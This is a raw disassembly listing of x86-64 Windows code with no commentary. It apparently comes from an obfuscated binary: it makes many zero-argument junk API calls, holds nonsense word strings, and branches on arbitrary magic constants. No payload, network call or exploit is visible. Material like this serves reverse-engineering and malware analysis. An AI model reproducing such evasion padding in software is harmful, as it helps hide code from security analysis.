movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x33a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc7], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1acc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1ad4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [rsp + 0x1a40]
mov ecx, dword [rsp + 0x1b5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33b0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [section..data], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov rcx, qword [0x1400dd008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x740], ax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x3438]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
movsx eax, word [0x1400dded0]
movsx ecx, word [rsp + 0x748]
sub eax, ecx
mov word [rsp + 0x73c], ax
mov eax, dword [rsp + 0x1b5c]
mov ecx, dword [rsp + 0x1a70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a3c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1b3c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3438]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3408]
mov byte [rcx], al
jmp 0x140007637
mov rax, qword [rsp + 0x3368]
mov qword [rsp + 0x3440], rax
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov qword [rsp + 0x3448], rax
movabs rax, 0x1a52a0cf76412ee2
cmp qword [rsp + 0x3448], rax
je 0x140007a24
jmp 0x140007a85
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
and eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x3320]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x1ad4]
mov rax, qword [rsp + 0x3410]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x32c0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x3390]
mov ecx, dword [rax]
call fcn.1400bcc50
nop
jmp 0x1400baedc
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
mov rax, qword [rsp + 0x3320]
movzx eax, byte [rax]
mov byte [rsp + 0x1b8c], al
cmp byte [rsp + 0x1b8c], 0
je 0x140007bfb
cmp byte [rsp + 0x1b8c], 0x7b
je 0x140007ad5
jmp 0x1400baebf
lea rdx, str.sheiks_diamonds_hotchpotch_Noting_witchcraft
lea rcx, str.freighters_Handovers_Hanover_Unturned_toughest
call qword [sym.imp.USER32.dll_CharPrevA]
mov qword [rsp + 0x3298], rax
movzx eax, word [rsp + 0x738]
movzx ecx, word [rsp + 0x744]
add eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1ad4]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x1b14]
mov edx, dword [rsp + 0x1b6c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x140007bf6
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x33c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f8], rax
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov dword [rsp + 0x1b90], eax
cmp dword [rsp + 0x1b90], 0x32b6ca84
je 0x140007b79
jmp 0x140007bbd
call qword [sym.imp.USER32.dll_GetDoubleClickTime]
mov dword [rsp + 0x1b94], eax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xbd]
movsx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov byte [section..data], al
jmp 0x140007bf6
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0xc5]
mov rax, qword [rsp + 0x33f0]
mov r8, qword [rax]
movzx edx, byte [rsp + 0xc8]
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rax]
call fcn.1400bb700
nop
jmp 0x1400baebf
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov dword [rsp + 0x1b98], eax
cmp dword [rsp + 0x1b98], 0x2aac
je 0x140007c1f
jmp 0x140007cc8
lea rax, [rsp + 0x73c]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x3298]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1b94]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xde90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x3310]
mov r8, qword [rsp + 0x3300]
lea rdx, str.inmostScowlsknifesRedeliver
mov ecx, 0xcf
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3440]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x3438]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x32d0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rax]
call fcn.1400bc550
nop
jmp 0x140007d88
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x1b9c], al
cmp byte [rsp + 0x1b9c], 0xb1
je 0x140007ce6
jmp 0x140007d88
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
sar eax, cl
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movsx eax, word [rsp + 0x730]
movsx ecx, word [0x1400dded0]
shl eax, cl
mov word [rsp + 0x740], ax
mov dword [rsp + 0x20], 0x8b
mov r9d, 0xd1
lea r8, [rsp + 0xde90]
mov edx, 0x3a
mov rcx, qword [rsp + 0x3450]
call qword [sym.imp.USER32.dll_GetMenuStringA]
mov dword [rsp + 0x1ad4], eax
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x1b3c]
mov rax, qword [rsp + 0x3410]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x32c0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rax]
call fcn.1400bcc50
nop
movzx eax, word [rsp + 0x738]
mov dword [rsp + 0x1ba0], eax
cmp dword [rsp + 0x1ba0], 0xd420
je 0x140007da6
jmp 0x140007e07
mov rax, qword [rsp + 0x3408]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
or eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [0x1400dd004]
mov word [rsp + 0x74c], ax
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x3408]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xc8], al
jmp 0x140007f10
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov dword [rsp + 0x1b94], eax
mov rax, qword [rsp + 0x3288]
mov rcx, qword [rsp + 0x33c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3420]
imul rcx, qword [rsp + 0x32f8]
cmp rax, rcx
jae 0x140007f10
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ba4], al
cmp byte [rsp + 0x1ba4], 0x7b
je 0x140007ef4
cmp byte [rsp + 0x1ba4], 0xc2
je 0x140007e77
jmp 0x140007f10
lea r8, [rsp + 0x3338]
mov rdx, qword [rsp + 0x3298]
mov rcx, qword [rsp + 0x3360]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov dword [rsp + 0x1b20], eax
mov eax, dword [rsp + 0x1b6c]
mov ecx, dword [rsp + 0x1b14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3320]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x1b14]
mov rax, qword [rsp + 0x3410]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x1acc]
mov rax, qword [rsp + 0x33b0]
mov ecx, dword [rax]
call fcn.1400bcc50
nop
jmp 0x140007f10
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
add eax, ecx
mov word [0x1400dded0], ax
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov qword [rsp + 0x3458], rax
mov rax, qword [rsp + 0x3458]
mov qword [rsp + 0x3460], rax
movabs rax, 0x50f94813d407bec
cmp qword [rsp + 0x3460], rax
je 0x140007f64
movabs rax, 0x1eca722a00bb0854
cmp qword [rsp + 0x3460], rax
je 0x14000802a
jmp 0x140008067
mov eax, dword [rsp + 0x1938]
mov dword [rsp + 0x1ba8], eax
cmp dword [rsp + 0x1ba8], 0x156ecbc9
je 0x140007f81
jmp 0x140007ff4
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
lea rcx, [rsp + 0xd8f0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextA]
mov qword [rsp + 0x32b8], rax
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
and eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
jmp 0x140008028
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x1ad4]
mov rax, qword [rsp + 0x33a0]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x1b6c]
mov ecx, dword [rsp + 0x1a70]
call fcn.1400bcc50
nop
jmp 0x140008067
movzx eax, word [rsp + 0x74c]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x738], ax
mov r8d, 1
mov edx, 0x9f
lea rcx, [rsp + 0xdc70]
call qword [sym.imp.USER32.dll_AdjustWindowRect]
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x74c]
add eax, ecx
mov word [rsp + 0x744], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov dword [rsp + 0x1b5c], eax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x3440]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3458], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x3458]
mov rcx, qword [rsp + 0x3368]
sub rcx, rax
mov rax, rcx
mov qword [0x1400dd008], rax
mov eax, dword [rsp + 0x1b44]
add eax, 0x14
mov dword [rsp + 0x1b44], eax
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [0x1400dded0]
or eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x33a8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x32e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movsx eax, word [0x1400dded0]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x748], ax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbd]
and eax, ecx
mov byte [rsp + 0xc6], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
sub eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x3440]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33b0]
mov rcx, qword [rsp + 0x32f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1938]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x32f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c0], rax
cmp dword [rsp + 0x1b44], 0x7134
jb 0x140008084
cmp dword [rsp + 0x1a28], 0xd25e
je 0x1400086f7
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc7]
and eax, ecx
mov byte [rsp + 0xc5], al
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0xc6]
add eax, ecx
mov byte [rsp + 0xc9], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movsx eax, word [rsp + 0x748]
movsx ecx, word [rsp + 0x73c]
add eax, ecx
mov word [rsp + 0x740], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x744]
sub eax, ecx
mov rcx, qword [rsp + 0x3410]
mov word [rcx], ax
mov rax, qword [rsp + 0x3438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
shl eax, cl
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x3440]
mov rcx, qword [rsp + 0x33f0]
mov qword [rsp + 0x3468], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3468]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x32f0]
mov rcx, qword [rsp + 0x33b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1ad4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3408]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc5], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movsx eax, word [rsp + 0x73c]
movsx ecx, word [rsp + 0x748]
sub eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movzx eax, word [rsp + 0x734]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3410]
mov word [rcx], ax
movzx eax, word [rsp + 0x74c]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x738], ax
mov rax, qword [rsp + 0x33b0]
mov rcx, qword [rsp + 0x3390]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a48], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x3458]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3390]
mov rcx, qword [rsp + 0x33b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1acc]
mov dword [rsp + 0x1b3c], eax
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x738]
or eax, ecx
mov word [rsp + 0x74c], ax
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
sar eax, cl
mov byte [rsp + 0xc5], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
movsx eax, word [rsp + 0x73c]
movsx ecx, word [rsp + 0x740]
shl eax, cl
mov word [rsp + 0x730], ax
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [rsp + 0xbd]
xor eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x74c]
add eax, ecx
mov word [rsp + 0x734], ax
mov eax, dword [rsp + 0x1a28]
add eax, 0xce
mov dword [rsp + 0x1a28], eax
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3440]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov eax, dword [rsp + 0x1a70]
mov dword [rsp + 0x1b94], eax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
mov eax, dword [rsp + 0x1938]
mov ecx, dword [rsp + 0x1b6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movsx eax, word [0x1400dded0]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x748], ax
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x74c]
sub eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xbd]
movsx ecx, byte [rsp + 0xca]
add eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movsx eax, word [rsp + 0x740]
movsx ecx, word [rsp + 0x748]
add eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1b6c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3288]
movzx ecx, al
mov rax, qword [rsp + 0x3420]
shr rax, cl
mov qword [rsp + 0x33c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
nop
jmp 0x140008272
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1938]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1b6c]
mov edx, dword [rsp + 0x1b14]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14000878e
lea rax, [rsp + 0x3440]
mov qword [rsp + 0x3470], rax
mov eax, dword [rsp + 0x1b5c]
mov ecx, dword [rsp + 0x1a40]
sub ecx, eax
mov eax, ecx
mov dword [0x1400dd010], eax
mov dword [rsp + 0x1bb0], 0xf574
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rax, [rsp + 0x1a40]
mov qword [rsp + 0x3478], rax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc9], al
jmp 0x140008808
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x33a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc5], al
lea rdx, [rsp + 0x33a0]
mov rcx, qword [rsp + 0x3480]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x1bb4], eax
movzx eax, byte [0x1400dded2]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x3488], rax
mov rax, qword [rsp + 0x3288]
mov rcx, qword [rsp + 0x32f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3420], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
nop
cmp dword [rsp + 0x1aa0], 0x42f8
jbe 0x1400089e1
mov eax, dword [rsp + 0x1aa0]
sub eax, 0xab
mov dword [rsp + 0x1aa0], eax
mov eax, dword [rsp + 0x1b94]
mov ecx, dword [rsp + 0x1a40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a70], eax
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1aa8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3458]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x74c]
sub eax, ecx
mov word [rsp + 0x738], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x3408]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3438]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x32e0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x73c], ax
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x730], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movsx eax, word [rsp + 0x748]
movsx ecx, word [0x1400dded0]
and eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x3288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3368]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400dd008], rax
jmp 0x14000883f
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x1bb8], 0xe9be
cmp dword [rsp + 0x1aa4], 0x8608
ja 0x140008c63
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1ad4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1acc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xca]
sub eax, ecx
mov byte [rsp + 0x8d], al
movzx eax, word [rsp + 0x74c]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x33a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
add eax, ecx
mov byte [rsp + 0xc5], al
movzx eax, byte [rsp + 0xc7]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov byte [rsp + 0xc8], al
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x3288]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x3368]
movzx ecx, al
mov rax, qword [rsp + 0x3440]
shl rax, cl
mov qword [0x1400dd008], rax
mov eax, dword [rsp + 0x1b3c]
movzx ecx, al
mov eax, dword [rsp + 0x1acc]
sar eax, cl
mov dword [rsp + 0x1ad4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a40], eax
movzx eax, word [rsp + 0x734]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x738], ax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
add eax, ecx
